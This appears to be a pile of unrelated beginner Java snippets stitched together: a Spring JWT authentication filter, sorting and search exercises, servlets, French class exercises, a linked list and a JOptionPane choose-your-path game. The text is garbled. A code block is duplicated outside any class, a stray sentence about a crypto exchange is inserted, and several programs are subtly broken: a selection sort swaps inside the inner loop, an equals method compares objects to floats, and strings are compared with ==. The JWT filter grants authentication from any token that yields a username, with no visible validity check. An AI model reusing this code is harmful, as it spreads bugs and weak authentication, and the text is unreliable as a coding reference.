package com.nicatguliyev.jwt.learn_jwt.security;

import java.io.IOException;

import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.WebAuthenticationDetailsSource;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;

import com.nicatguliyev.jwt.learn_jwt.service.JwtService;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

@Component
public class JWTAuthenticationFilter extends OncePerRequestFilter {

  private final JwtService jwtService;

  public JWTAuthenticationFilter(JwtService jwtService) {
    this.jwtService = jwtService;
  }

  @Override
  protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
  throws ServletException, IOException {

    //System.out.println("DOFILTERINTERNAL RUNNING");

    String autHeader = request.getHeader("Authorization");
    if (autHeader == null || !autHeader.startsWith("Bearer ")) {
      filterChain.doFilter(request, response);
      return;
    }

    String token = autHeader.substring(7);
    String username = jwtService.extractUserName(token);

    if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }

    filterChain.doFilter(request, response);
  }

}

  if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }

  if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }

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	Who knows? In a few years, people might be talking about your crypto exchange in forums like this!
      
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if (condition) {
  // block of code to be executed if the condition is true
}

package selectionsort;

public class SelectionSort {

    public static void main(String[] args) {
        int[] arr = {5,4,2,8,6,9};
        int leng = arr.length;

        System.out.print("Original array:");
        PrintArray(arr);
        
        for (int i = 0 ; i < leng - 1 ; i++) {
            int smallest = i;
            for (int j = i + 1 ; j < leng; j++) {
                if (arr[j] < arr[smallest]) {
                    smallest = j;
                
                int temp = arr[i];
                arr[i] = arr[smallest];
                arr[smallest] = temp;
                }
            }
        }
        System.out.print("Sorted array:");
        PrintArray(arr);
    }
    
    static void PrintArray(int[] arr){
        for (int val : arr) {
            System.out.print(val + " ");
        }
        System.out.println();
    }
}

package LinearSearch;

import java.util.*;

public class LinearSearch {


    public static void main(String args[])
    {
        Scanner sc = new Scanner(System.in);
        
        int arr[] = { 2, 3, 4, 10, 40 };
        
        System.out.print("What element are you searching for? ");
        int x = sc.nextInt();
        
        int result = search(arr, arr.length, x);
        if (result == -1)
            System.out.print("Element is not present in array");
        else
            System.out.println("Element is present: " + arr[result]);
    }
    
    public static int search(int arr[], int N, int x)
    {
        for (int i = 0; i < N; i++) {
            if (arr[i] == x)
                return i;
        }
        return -1;
    }
}

package bubblesort;

import java.util.*;

public class BubbleSort {

    public static void main(String[] args) {
        int[] arr = {5,4,2,8,6,9};
        int leng = arr.length;
        
        System.out.println("Array:");
        PrintArray(arr);
        bubblesort(arr, leng);
        System.out.println("Sorted array:");
        PrintArray(arr);
    }
    
    public static void bubblesort(int arr[],int n){
        boolean swapped;
        for (int i = 0; i < n - 1; i++) {
            swapped = false;
            for (int j = 0; j < n - i - 1; j++) {
                if (arr[j] > arr[j + 1]) {
                    int temp = arr[j];
                    arr[j] = arr[j + 1];
                    arr[j + 1] = temp;
                    swapped = true;
                }
        }
        if (swapped == false)
        break;
        }
    }
    
    static void PrintArray(int[] arr){
        for (int val : arr) {
            System.out.print(val + " ");
        }
        System.out.println();
    }
}

package bodymassindex;

import java.util.*;

public class BodyMassIndex {
    //metric
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        
        System.out.print("Enter your Weight in pounds: ");
        double weight = sc.nextDouble();
        System.out.print( "Enter your Height in inch: ");
        double height = sc.nextDouble();    
        
        double BMI = 703 * (weight/Math.pow(height,2));
        
        System.out.println("Weight: " + weight);
        System.out.println("Height: " + height);
        System.out.println("BMI: " + Math.round(BMI));
    }
}

index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Add numbers</title>
</head>
<body>
	
	<form action="add" method="get">
		enter num1:<input type="text" name="num1"><br>
		Enter num2:<input type="text" name="num2">
		
		<br>
		<input type="submit" value="Add">
	</form>
</body>
</html>

Add.java:
package com.Add;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet( urlPatterns={"/add"})
public class Add extends HttpServlet {
    public void service(HttpServletRequest req, HttpServletResponse res) throws IOException {
    	
    	int i=Integer.parseInt(req.getParameter("num1"));
    	int j=Integer.parseInt(req.getParameter("num2"));
    	
    	int k=i+j;
    	PrintWriter out=res.getWriter();
    	out.println(k);
    			
    }

}

web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
  <display-name>ParamDemo</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
</web-app>

HelloServlet.java:
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.annotation.WebServlet;

@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        response.getWriter().println("<h1>Hello, World!</h1>");
    }
}

web.xml:
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

Output:
It displays in Web Browser:
Hello, World

Demo.java:
import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


@WebServlet("/Demo")
public class Demo extends HttpServlet {
	private static final long serialVersionUID = 1L;
    
    public Demo() {
        super();
        
    }

	
    @Override
    public void init(ServletConfig config) throws ServletException {
        super.init(config);
        // Initialization code here
        System.out.println("Servlet init() method called.");
    }


    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        // Handle request
        System.out.println("Servlet service() method called.");
        super.service(req, res);
    }
    @Override
    public void destroy() {
        // Cleanup code here
        System.out.println("Servlet destroy() method called.");
    }

}

web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
  <display-name>Demo1</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
</web-app>

import java.sql.*;

public class ScrollableResultSetExample {
    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/your_database";
        String username = "root"; 
        String password = "your_password";

        try {
            Connection connection = DriverManager.getConnection(url, username, password);

            String query = "SELECT * FROM your_table";
            Statement statement = connection.createStatement(
                    ResultSet.TYPE_SCROLL_INSENSITIVE, 
                    ResultSet.CONCUR_READ_ONLY);
            
            ResultSet resultSet = statement.executeQuery(query);
            
            if (resultSet.last()) {
                System.out.println(resultSet.getString("column_name"));
            }

            if (resultSet.first()) {
                System.out.println(resultSet.getString("column_name"));
            }

            resultSet.close();
            statement.close();
            connection.close();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

public class point{
    float x;
    float y;
    
    public point(float x,float y){
        this.x=x;
        this.y=y;
    }
    void afficher(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float a,float b){
        x=a;
        y=b;
    }
    float getAbscisse(){
        return this.x;
    }
    float getOrdonne(){
        return this.y;
    }
    public String toString(){
       String ch;
       ch="le point est "+ this.x +"\t"+this.y;
       return ch;
    }
    public Boolean equals(point po){
        return po!= null && po.equals(this.x) && po.equals(this.y);}
    public static void main (String []  args){
    point p=new point(19,4);
    p.afficher();
    System.out.println(p);
    p.deplacer(6,8);
    p.afficher();
    point p2=new point(6,8.0f);
    point p3=new point(4.0f, 2.0f);
    System.out.println("p est egal a p2:"+p.equals(p2));
    System.out.println("p est egal a p3:"+p.equals(p3));

   
            }
}

class compte{
    private double solde;
    public compte(float solde){
        this.solde=solde;
    }
    public double getSolde(){
        return solde;
    }
    void retirer(double ret){
        if(ret>solde){
        System.out.println("fonds insuffisants pour retirer"+ret+"d.");
        }else{
            solde-=ret;
            System.out.println("Retrait de"+ret+"deffectue.");
        }
    }
    void deposer(double dep){
        this.solde+=dep;
    }
    void transfer(compte c2,int nb){
        if(nb>solde){
        System.out.println("Fond insuffisants pour transfere"+nb+"d.");
        }else{
            retirer(nb);
            c2.deposer(nb);
        }
    }
    public static void  main (String[] args){
        compte c1=new compte(500);
        compte c2=new compte(0);
        c1.retirer(100);
        c1.deposer(200);
        c1.transfer(c2,300);
        System.out.println("compte 1="+c1.getSolde());
        System.out.println ("compte 2="+c2.getSolde());

    }
}

class point{
    float x;
    float y;
    public point(float x, float y) {
        this.x = x;
        this.y = y;
    }
    void affiche(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float dx,float dy){
        x=x+dx;
        y=y+dy;
    }
    double distance(){
        return Math.sqrt(Math.pow(x,2)+Math.pow(y,2));
    }

public static void main(String args[]){
    point p=new point(1,3);
    p.affiche();
    
}}

class Client{
    private String nom;
    private String prenom;
    private Long tel;
    Client(String nom , String prenom, Long tel){
        this.nom=nom;
        this.prenom=prenom;
        this.tel=tel;
    }
    public String toString(){
       return("nom:"+this.nom+" et le prenom:"+this.prenom+" et le telephone:"+this.tel);
    }
   String getNom(){
       return nom;
       } 
    String getPrenom(){
        return prenom;
       }
    Long getTel(){
        return tel;
    }
    void setNom(String ch){
        this.nom=ch;
    }
    void setPre(String ch){
        this.prenom=ch;
}
void setTel(Long t){
        this.tel=t;
}
public Boolean equals(Client c){
    return c !=null && c.nom.equals(this.nom) && c.prenom.equals(this.prenom) && c.tel.equals(this.tel); 
}
public static void main(String [] args){
    Client c=new Client("sahar","mess",99836678l);
    Client clt=new Client("sahar","mess",99836678l);
    System.out.println(c.equals(clt));
    System.out.println(c);
}
}

java 
Copy code 
import java.io.*;
import javax.xml.parsers.*;

public class DOMValidator {
    public static void main(String[] args) {
        try {
            System.out.println("Enter the XML file name:");
            File file = new File(new BufferedReader(new InputStreamReader(System.in)).readLine());
            if (file.exists() && isWellFormed(file)) {
                System.out.println(file.getName() + " is well-formed.");
            } else {
                System.out.println(file.exists() ? "Not well-formed." : "File not found.");
            }
        } catch (Exception e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    private static boolean isWellFormed(File file) {
        try {
            DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(file);
            return true;
        } catch (Exception e) {
            return false;
        }
    }
}

 
xml 
Copy code 
hello.xml
<?xml version="1.0" encoding="UTF-8"?>
<library>
    <book>
        <title>Java Programming</title>
        <author>John Doe</author>
    </book>
    <book>
        <title>XML Development</title>
        <author>Jane Smith</author>
    </book>
</library>

 
output:XML is valid

public class Person {
    // Attributs privés
    private String name;
    private int age;

    // Constructeur
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter pour l'attribut 'name'
    public String getName() {
        return name;
    }

    // Setter pour l'attribut 'name'
    public void setName(String name) {
        this.name = name;
    }

    // Getter pour l'attribut 'age'
    public int getAge() {
        return age;
    }

    // Setter pour l'attribut 'age'
    public void setAge(int age) {
        if (age > 0) { // Exemple de vérification
            this.age = age;
        }
    }
}

public class Person {
    // Attributs privés
    private String name;
    private int age;

    // Constructeur
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter pour l'attribut 'name'
    public String getName() {
        return name;
    }

    // Setter pour l'attribut 'name'
    public void setName(String name) {
        this.name = name;
    }

    // Getter pour l'attribut 'age'
    public int getAge() {
        return age;
    }

    // Setter pour l'attribut 'age'
    public void setAge(int age) {
        if (age > 0) { // Exemple de vérification
            this.age = age;
        }
    }
}

// Online Java Compiler
// Use this editor to write, compile and run your Java code online

class HelloWorld {
    public static void main(String[] args) {
        int n=4;
        for (int i=1; i<=n; i++){
            for(int j=i; j<=n; j++){
                System.out.print(" ");
            }
            for(int j=1; j<i; j++){
                System.out.print("*");
            }
            for(int j=1; j<=i; j++){
                System.out.print("*");
            }
            System.out.println(" ");
            
        }
                for(int i=1; i<=n; i++){
            for(int j=1; j<=i; j++){
                System.out.print(" ");
            }
            for(int j=i; j<n; j++ ){
                System.out.print("*");
            }
            for(int j=i; j<=n; j++ ){
                System.out.print("*");
            }
            System.out.println();
        }
       
}
}

import java.util.*;

import javax.swing.plaf.synth.SynthOptionPaneUI;
public class LinkedList {
    int size;
    public class Node{
        int data;
        Node next;

        Node(int data){
            this.data=data;
            this.next=null;
            size++;
        }
    }
    LinkedList(){
        size=0;
    }
    Node head;
    public void addFirst(int data){
        Node newNode=new Node(data);
        newNode.next=head;
        head=newNode;
    }
    public void addLast(int data){
        Node newNode=new Node(data);
        if(head==null){
            newNode.next=head;
            head=newNode;
        }else{
            Node curNode=head;
            while(curNode.next!=null){
                curNode=curNode.next;
            }
            curNode.next=newNode;
        }
    }
    public void removeFirst(){
        int val=0;
        if(head==null){
            System.out.println("Linked List Empty, can't perform Deletion");
        }else if(head.next==null){
            val=head.data;
            head=null;
            System.out.println(val+" Deleted...");
            size--;
        }else{
            val=head.data;
            head=head.next;
            System.out.println(val+" Deleted...");
            size--;
        }
    }
    public void removeLast(){
        int val=0;
        if(head==null){
            System.out.println("Linked List Empty, can't perform Deletion");
        }else if(head.next==null){
            val=head.data;
            head=null;
            System.out.println(val+" Deleted...");
            size--;
        }else{
            Node curNode=head;
            Node lastNode=head.next;
            while(lastNode.next!=null){
                lastNode=lastNode.next;
                curNode=curNode.next;
            }
            val=lastNode.data;
            System.out.println(val+" Deleted...");
            curNode.next=null;
            size--;
        }
    }
    public void reverseIterate(){
        if(head==null || head.next==null){
            return;
        }else{
            Node prevNode=head;
            Node curNode=head.next;
            while(curNode!=null){
                Node nextNode=curNode.next;
                curNode.next=prevNode;
                prevNode=curNode;
                curNode=nextNode;
            }
            head.next=null;
            head=prevNode;
            System.out.println("Linked List Reversed...");
        }

    }
    public void sizeOfList(){
        System.out.println("Size of List: "+size);
    }
    public void printList(){
        Node curNode=head;
        while(curNode!=null){
            System.out.print(curNode.data+"-> ");
            curNode=curNode.next;
        }System.out.println("NULL");
    }
    public static void main(String args[]){
        LinkedList list=new LinkedList();
        Scanner sc=new Scanner(System.in);
        int val=0;
        while(true){
            System.out.println("1:addFirst  2:addLast  3:removeFirst  4:removeLast  5:reverseIterate  6:sizeOfList  7:printList  8:End");
            System.out.print("Select any Option: ");
            int option=sc.nextInt();
            if(option==8){
                System.out.println("Thank You!!! ");
                break;
            }
            if(option==1 || option==2){
                System.out.print("Enter Value: ");
                val=sc.nextInt();
            }
            switch(option){
                case 1: 
                    list.addFirst(val);
                    break;
                case 2:
                    list.addLast(val);
                    break;
                case 3:
                    list.removeFirst();
                    break;
                case 4:
                    list.removeLast();
                    break;
                case 5:
                    list.reverseIterate();
                    break;
                case 6:
                    list.sizeOfList();
                    break;
                case 7:
                    list.printList();
                    break;
                default:
                    System.out.println("INVALID INPUT");
            }
        }
        
        
    }
}

//Exercise 6-2

package com.mycompany.countdown;

public class InfiniteLoop {
    public static void main(String[] args) {
        for (int i = 0; i <= 5; i++) {
            System.out.println("Hello");
        }
        /*
        for (int i = 0; i < 10; i--) {
        System.out.println("This will print forever.");
        */
    }
}

//Exercise 6-1

package com.mycompany.countdown;

public class Countdown {

    public static void main(String[] args) {
        
        //part 1
        for (int i = 0; i <= 5; i++) {
        System.out.println("" + i);
        }
        
        System.out.println("");
        
        //part 2
        for (int i = 0; i <= 20; i++) {
            
        int evenorodd = i%2;
        if (evenorodd == 0) {
            System.out.println("" + i);
        }
        }
    }
}

package com.mycompany.presentation;

import javax.swing.JOptionPane;

public class Presentation {
    public static void main(String[] args) {
        
        //Choices
        int option = JOptionPane.showConfirmDialog(null,
                "Are you sure you want to proceed?",
                "Confirmation",
                JOptionPane.YES_NO_OPTION);
        
        if (option == JOptionPane.NO_OPTION) {
            JOptionPane.showMessageDialog(null,
                "Ok",
                "End",
                0);
            System. exit(0);
        }
        //Fill in
        String FirstName = (String)JOptionPane.showInputDialog(null,
                "What is your First Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Joshua");
        //Fill in
        String MiddleName = (String)JOptionPane.showInputDialog(null,
                "What is your Middle Initial? ",
                "Personal Information",
                3,
                null,
                null,
                "M");
        //Fill in
        String LastName = (String)JOptionPane.showInputDialog(null,
                "What is your Last Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Santelices");
        
        //Full Name
        String FullName = FirstName + " " + MiddleName + " " + LastName;
        
        // Option
        int Confirmname = JOptionPane.showConfirmDialog(null,
                "Is your name " + FullName + "?",
                "Personal Information",
                JOptionPane.YES_NO_OPTION);
        
        int i=-1;
        do {
            if (Confirmname == JOptionPane.YES_OPTION){
                i++;
            } else {
            //Fill in
        FirstName = (String)JOptionPane.showInputDialog(null,
                "What is your First Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Joshua");
        //Fill in
        MiddleName = (String)JOptionPane.showInputDialog(null,
                "What is your Middle Initial? ",
                "Personal Information",
                3,
                null,
                null,
                "M");
        //Fill in
        LastName = (String)JOptionPane.showInputDialog(null,
                "What is your Last Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Santelices");
        
        //Full Name
        FullName = FirstName + " " + MiddleName + " " + LastName;
        
        Confirmname = JOptionPane.showConfirmDialog(null,
                "Is your name " + FullName + "?",
                "Personal Information",
                JOptionPane.YES_NO_OPTION);
        
            }} while (i != 0);
                
        
        
        // Fill in
        int Age = Integer.parseInt((String)JOptionPane.showInputDialog(null,
                "How old are you?",
                "Personal Information",
                3,
                null,
                null,
                "19"));
        
        //Birthyear
        int BirthYear = 2024 - Age;
        
        String ParsedBirthYear = Integer.toString(BirthYear);
        
        // Output
        JOptionPane.showMessageDialog(null,
                "Your Birthyear is " + ParsedBirthYear,
                "Personal Information",
                0); 
        
        String Crush = (String)JOptionPane.showInputDialog(null,
                "Who is your crush?",
                "Magical Thingy",
                3,
                null,
                null,
                "Jara");
        
        i = -1;
            do {
            
                //Choices
                String [] Level = {"5","4", "Nothing"};
                String Floor = (String)JOptionPane.showInputDialog(null,
                    "What Floor?",
                    "Elevator",
                    3,
                    null,
                    Level,
                    Level[2]);
                
                if (Floor != "Nothing") {
                    i++;
                }else {
                    Floor = (String)JOptionPane.showInputDialog(null,
                    "What Floor?",
                    "Elevator",
                    3,
                    null,
                    Level,
                    Level[2]);
                }
            } while (i < 0);
               
        //Output
        JOptionPane.showMessageDialog(null,
                "Enters The elevator and presses 3",
                "Girl",
                2);
            
        //Output
        JOptionPane.showMessageDialog(null,
                "And if a double decker bus crashes into us",
                "The Smiths",
                2);
        
        //Choices
        
        JOptionPane.showMessageDialog(null,
                "I love the smiths!",
                "" + Crush,
                2);
        
        String [] Start = {"Ignore", "What?"};
        String Terms = (String)JOptionPane.showInputDialog(null,
                "",
                "" + FullName,
                3,
                null,
                Start,
                Start[1]);
        
        //And If A Double Decker Bus Kills The Both Of Us
        if (Terms == "What?"){
            //Output
            JOptionPane.showMessageDialog(null,
                "I said I love the smiths!",
                "" + Crush,
                2);
            JOptionPane.showMessageDialog(null,
                "To die by your side is such a heavenly way to die~ \n I love em",
                "" + Crush,
                2);
            
            //choices
            String [] Input = {"Penge cute pics","Stare"};
            String WhatToDo = (String)JOptionPane.showInputDialog(null,
                "What to do?",
                "" + FullName,
                2,
                null,
                Input,
                Input[1]);
            
            if (WhatToDo == "Penge cute pics") {
                    //Output
                    JOptionPane.showMessageDialog(null,
                    "Kadiri ka",
                    "End",
                    0);
                    System. exit(0); 
            }
            
            //Output
            JOptionPane.showMessageDialog(null,
                "Dings",
                "Elevator",
                2);
            JOptionPane.showMessageDialog(null,
                "Walks out",
                "" + Crush,
                2);
            
            //choices
            String [] Do = {"Kiligin","Kiligin ng sobra"};
            String Kilig = (String)JOptionPane.showInputDialog(null,
                "Ano gagawin?",
                "" + FullName,
                3,
                null,
                Do,
                Do[0]);
                if (Kilig == "Kiligin ng sobra") {
                    //output
                        JOptionPane.showMessageDialog(null,
                        "Naihi sa pantalon",
                        "End",
                        0);
                        System. exit(0);
                }
                
                //output
                JOptionPane.showMessageDialog(null,
                        "What the hell",
                        "" + FullName,
                        2);
                
                //Choices
                option = JOptionPane.showConfirmDialog(null,
                "Buy a kuromi plushie for " + Crush + "?",
                "" + FullName,
                JOptionPane.YES_NO_OPTION);
                
                if (option == JOptionPane.NO_OPTION) {
                    JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    System. exit(0);
                }
                
                JOptionPane.showMessageDialog(null,
                    "The plushie is worth 69.50 php",
                    "Cashier",
                    0);
                    
                //Fill in
                double Budget = Double.parseDouble((String)JOptionPane.showInputDialog(null,
                    "How much money do you have?",
                    "Wallet",
                    3,
                    null,
                    null,
                    "Your Budget"));
                //Budget
                double AfterBudget = Budget - 69.50;
                //Output
                if (AfterBudget < 0) {
                    JOptionPane.showMessageDialog(null,
                    "Your budget is not enough",
                    "Cashier",
                    0);
                    
                    JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    
                    System. exit(0); 
                }
                //Output
                JOptionPane.showMessageDialog(null,
                    "You now only have " + AfterBudget + " Php",
                    "Cashier",
                    0);
                
                option = JOptionPane.showConfirmDialog(null,
                "Give to " + Crush + "?",
                "" + FullName,
                JOptionPane.YES_NO_OPTION);
                
                if (option == JOptionPane.YES_OPTION) {
                    JOptionPane.showMessageDialog(null,
                    "Aww thanks but I have a Boyfriend",
                    "" + Crush,
                    0);
                    JOptionPane.showMessageDialog(null,
                    "Sad Ending",
                    "End",
                    0);
                    System. exit(0);
                    }
                JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    System. exit(0);
            }
        }
}

package com.mycompany.agevalidity;

import java.util.*;

public class AgeValidity {

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in); 
        
        boolean duage = false;
        
        System.out.print("Age: ");
        int age = sc.nextInt();
        
        System.out.println("Age: " + age);
        
        if (age < 18) {
            duage = true;
        }
        System.out.println("driving underaged: " + duage);
    }
}

package com.mycompany.chkoddeven;

import java.util.*;

public class ChkOddEven {

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        
        System.out.print("Input a number from 1-10: ");
        int num = sc.nextInt();
        
        int evenorodd = num%2;
        if (evenorodd == 1) {
            System.out.println("The number is Odd: " + num);
        } else {
            System.out.println("The number is Even: " + num);
        }
    }
}

import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner(System.in);
        int n,i,s,m,l,min,max;
        int tab[]=new int [30];
        s=0;
        m=0;
        do{
            System.out.println("donner la taille : \n");
            n=sa.nextInt();
        }while(n<1 || n>30 );
        for(i=0;i<n;i++){
            System.out.println("T["+i+"]= ");
            tab[i]=sa.nextInt();
                s=s+tab[i];
            System.out.println("\n");
        }
        min=tab[0];
        max=tab[0];
        for(i=0;i<n;i++){
             if (tab[i]<min)
            min=tab[i];
            if (tab[i]>max)
            max=tab[i];
        }
        m=s/n;
        
    System.out.println("la somme de tableau :" +s);
    System.out.println("la moyenne de tableau :" +m);
    System.out.println("la min de tableau :" +min);
    System.out.println("la max de tableau :" +max);
    
        
        
    }
}

import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner(System.in);
        int n,i,f;
        f=1;
        System.out.println("Ecrire un entier: ");
        n=sa.nextInt();
        for(i=1;i<=n;i++){
            f=f*i;
            
        }
        System.out.println(f);
        System.out.println("\n");
        
    }
}

import java.util.Scanner;
public class java{
    public static void main(String [] args){
    Scanner sa=new Scanner(System.in);
    int x;
    System.out.println("donner un entier: \n");
    x=sa.nextInt();
    if((x%2)==0)
        System.out.println("entier paire");
    else
    System.out.println("entier impaire");

}}

package santelices_binary;

import java.util.Collections;
import javax.swing.JFrame;
import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode;

public class santelices_binary extends JFrame {
    JTree tree;
    
public santelices_binary() {
    DefaultMutableTreeNode html = new DefaultMutableTreeNode("html");
    DefaultMutableTreeNode head = new DefaultMutableTreeNode("head");
    DefaultMutableTreeNode body = new DefaultMutableTreeNode("body");
    html.add(head);
    html.add(body);
    
    DefaultMutableTreeNode meta = new DefaultMutableTreeNode("meta");
    DefaultMutableTreeNode title = new DefaultMutableTreeNode("title");
    head.add(meta);
    head.add(title);
    
    DefaultMutableTreeNode u1 = new DefaultMutableTreeNode("u1");
    DefaultMutableTreeNode h1 = new DefaultMutableTreeNode("h1");
    DefaultMutableTreeNode h2 = new DefaultMutableTreeNode("h2");
    body.add(u1);
    body.add(h1);
    body.add(h2);
    
    DefaultMutableTreeNode li1 = new DefaultMutableTreeNode("li");
    DefaultMutableTreeNode li2 = new DefaultMutableTreeNode("li");
    u1.add(li1);
    u1.add(li2);
    
    DefaultMutableTreeNode a = new DefaultMutableTreeNode("a");
    h2.add(a);
    
    System.out.println("4.1 Root Node: " + html.getRoot());
    System.out.println("4.2 Parent Nodes: " + head.getParent() + "' "
                                         + meta.getParent() + ", " 
                                         + u1.getParent() + ", " 
                                         + li1.getParent() + ", " 
                                         + a.getParent());
    System.out.println("4.3 Siblings: " + body.getPreviousSibling() + " and " + head.getNextSibling()
                                    + " , " + title.getPreviousSibling() + " and " + meta.getNextSibling()
                                    + " , " + li1.getNextSibling() + " and " + li2.getPreviousSibling());
    System.out.println("4.4 One-level subtrees: " + "\n" + " html - " + Collections.list(html.children())
                                                + "\n" + " head - " + Collections.list(head.children())
                                                + "\n" + " body - " + Collections.list(body.children())
                                                + "\n" + " u1 - " + Collections.list(u1.children())
                                                + "\n" + " h2 - " + Collections.list(h2.children()));
    System.out.println("4.5 Nodes per level: " + "\nLevel" + html.getLevel() + " - html"
                                            + "\nLevel" + head.getLevel() + " - head , body"
                                            + "\nLevel" + meta.getLevel() + " - meta, title, u1, h1, h2"
                                            + "\nLevel" + li1.getLevel() + " - li, li");
    System.out.println("4.6 Depth: " + html.getDepth());
    System.out.println("4.7 Degree of each one-level subtree: " + "html - " + html.getDepth()
                                                            + "\n" + "head - " + head.getDepth()
                                                            + "\n" + "body - " + body.getDepth()
                                                            + "\n" + "u1 - " + u1.getDepth()
                                                            + "\n" + "h2 - " + h2.getDepth());
    System.out.println("4.8 List of nodes based on: ");
    System.out.println("breadth - first: " + Collections.list(html.breadthFirstEnumeration()));
    System.out.println("breadth - first: " + Collections.list(html.preorderEnumeration()));                                        
    System.out.println("breadth - first: " + Collections.list(html.postorderEnumeration()));
                                            
    tree = new JTree(html);
    
    add(tree);
    this.setTitle("JTree Example");
    this.setSize(300,300);
    this.setVisible(true);
    
              
}
    public static void main(String[] args){
        new santelices_binary();
    }
}

public class Section4Method {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        //instantiate
        Calculator calc = new Calculator();
        
        calc.originalPrice = 10.00;
        System.out.print("person1:$");
        calc.findTotal();
        
        calc.originalPrice = 12.00;
        System.out.print("person2:$");
        calc.findTotal();
        
        calc.originalPrice = 9.00;
        System.out.print("person3:$");
        calc.findTotal();
        
        calc.originalPrice = 8.00;
        System.out.print("person4:$");
        calc.findTotal();
        
        calc.originalPrice = 7.00;
        System.out.print("person5:$");
        calc.findTotal();
        
        calc.originalPrice = 15.00;
        System.out.print("person6:$");
        calc.findTotal();
        
        calc.originalPrice = 11.00;
        System.out.print("person7:$");
        calc.findTotal();
        
        calc.originalPrice = 30.00;
        System.out.print("person8:$");
        calc.findTotal();
    }
    
}



